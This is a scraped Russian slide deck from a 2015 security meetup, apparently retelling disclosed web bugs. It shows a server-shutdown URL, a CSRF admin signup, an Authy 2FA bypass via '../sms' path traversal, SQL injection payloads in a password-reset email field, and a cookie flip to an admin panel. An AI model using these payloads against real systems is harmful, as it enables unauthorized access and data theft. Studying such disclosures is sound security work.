34
learnppt.com LOGO Ты такой смешной!!!1!))00) Весёлые (и не очень) баги и взломы 9 апреля 2015 #securitymeetup

Bo0oM - Ты такой смешной XD #securitymeetup

  • Upload
    -

  • View
    638

  • Download
    0

Embed Size (px)

Citation preview

learnppt.com

LOGO

Ты такой смешной!!!1!))00)Весёлые (и не очень) баги и взломы

9 апреля 2015

#securitymeetup

ПРЕДУПРЕЖДЕНИЕ!

Последующие слайды содержат сценысексуального насилия над web-приложениямии програмным обеспечением различной тематики и направленности.Копирование и воспроизведение векторов атаккарается 272 статьей Уголовного кодексаРоссийской Федерации, хотя такие экземплярыещё и найти надо, так что можете попробовать,но если что, я вас предупреждал! Ну вы поняли...

3Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

Время интересных

ИСТОРИЙ#securitymeetup

4Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@isox_xx

#securitymeetup

5Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

GET /shutdown/ HTTP/1.1

Host: up-fotki.yandex.ru

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://fotki.yandex.ru/upload?force=js

Cервак выключается...

https://up-fotki.yandex.ru/shutdown/

@isox_xx

#securitymeetup

6Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@isox_xx

#securitymeetup

7Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@isox_xx

#securitymeetup

8Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@isox_xx

#securitymeetup

9Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@webpentest

POST /signup/claim/id*/ HTTP/1.1

...

CSRF=bLJtKc0uLGGWoBkKhNMJCXGt0mhlhHiw&[email protected]&password=test&login=MyLogin

POST /signup/claim/WMkiheTT-8kRslImVLWMVw/ HTTP/1.1

...

CSRF=bLJtKc0uLGGWoBkKhNMJCXGt0mhlhHiw&[email protected]&password=test&login=Administrator

Регистрация курильщика:

Регистрация здорового человека:

*Где id - уникальный идентификатор, который берётся... На странице существующего пользователя

#securitymeetup

10Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@webpentest

Уже существует пользователь? Не беда!

В итоге перекидывает в админку сервиса с "свежереганным" логином.

#securitymeetup

11Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@4rt3m

#securitymeetup

12Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@4rt3m

#securitymeetup

13Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

#securitymeetup

14Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@fb1h2s @msecnet

#securitymeetup

15Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@homakov

#securitymeetup

16Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@homakov

1. Вводим ../sms в поле токена

2. Клиент кодирует это как ..%2fsms и делает запрос на api.authy.com/protected/json/verify/..%2fsms/authy_id

3. path_traversal декодирует полученный URL на раннем этапе в api.authy.com/protected/json/verify/../sms/authy_id, делит все по / и удаляет директорию /verify

4. Теперь само приложение получает модифицированный путь api.authy.com/protected/json/sms/authy_id который посылает СМС жертве и возвращает 200 статус и ответом {«success»:true,«message»:«SMS token was sent»,«cellphone»:"+1-XXX-XXX-XX85"}

5. Наш клиент который хотел проверить наш токен видит 200 статус и делает выводчто токен правильный. Даже если используется кастомная реализация API, клиентскорее всего ищет success=true что в нашем ответе тоже присутствует.

Попросту говоря введя ../sms в поле токена можно было обойти двух факторную аутенфикацию на всех сайтах использующих Authy.

#securitymeetup

17Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

#securitymeetup

18Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

#securitymeetup

Один из примеров фикса...

19Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@fgkm_

Когда имя пользователя в url

#securitymeetup

20Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@Black2Fan

RCE В ФОРМИРОВАНИИ CSS ФАЙЛА!!!!!11!!!!!адин!!

#securitymeetup

21Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

Root, пароль дляслабаков!

#securitymeetup

22Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@d90andrew

Восстановление пароля.Поле для email'а:[email protected]' and 'a'='a# - письмо приходит[email protected]' and 'a'='b# - не отправляется

[email protected]' union select 1,2,3,4,5,6#

#securitymeetup

23Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@d90andrew

[email protected]' union select 1,2,3,concat_ws(0x3a,version(),database()),5,6#

#securitymeetup

24Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@d90andrew

Пара часов и база пользователей в кармане!Точнее в почте...

#securitymeetup

25Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

#securitymeetup

26Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

ЧОЭТА?#securitymeetup

27Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@asintsov

Привет, сервак, как жизнь? Как дети? Форкаешься еще?

Если ты ADMIN, то хэш твоего пароля XXXXXXX!Ты уверен, что у твоего пароля такой хэш?

Ну ты скажешь! Конечно! У меня такой же хэш и получился!Админ я или кто, по-твоему!

Ну раз Админ, то проходи!

Ну привет, клиентик. Ты сам-то чьих будешь?

Ну как же это? Админ я, Админ!

Соединение установлено. Текущий пользователь: ADMIN

Самая крутая СУБД в мире - OpenEdge

#securitymeetup

28Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

ЧТОЧТО ЗАЗАхерняхерня туттут

ПРОИСХОДИТ??ПРОИСХОДИТ??

#securitymeetup

29Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

Были подобраны файлы и папки:

• /image/• /css/• /js/• /index.php• /login.php• /logout.php

#securitymeetup

30Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

GET /logout.php HTTP/1.1

Host: *******.ru

HTTP/1.1 200 Ok

Server: nginx

Date: Dec, 29 Apr 1970 13:14:41 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Cache-Control: no-cache,no-store,max-age=0,must-revalidate

Set-Cookie: 7ed93bc3576665339e899f356890fa5e=false; Path=/

Запрос:

Ответ:

#securitymeetup

31Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

GET /index.php HTTP/1.1

Host: *******.ru

Cookie: 7ed93bc3576665339e899f356890fa5e=true

Запрос:

Добро пожаловать в панель администратора!

ииииииииии...

#securitymeetup

32Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGOА бывает наоборот...

#securitymeetup

33Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

#securitymeetup

Bo0oM@i_bo0om

Пишу лучше чем говорю(инфа сотка)

34Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

#securitymeetup

СДАЛСДАЛ

ИГЭИГЭ??http://goo.gl/TxxCi3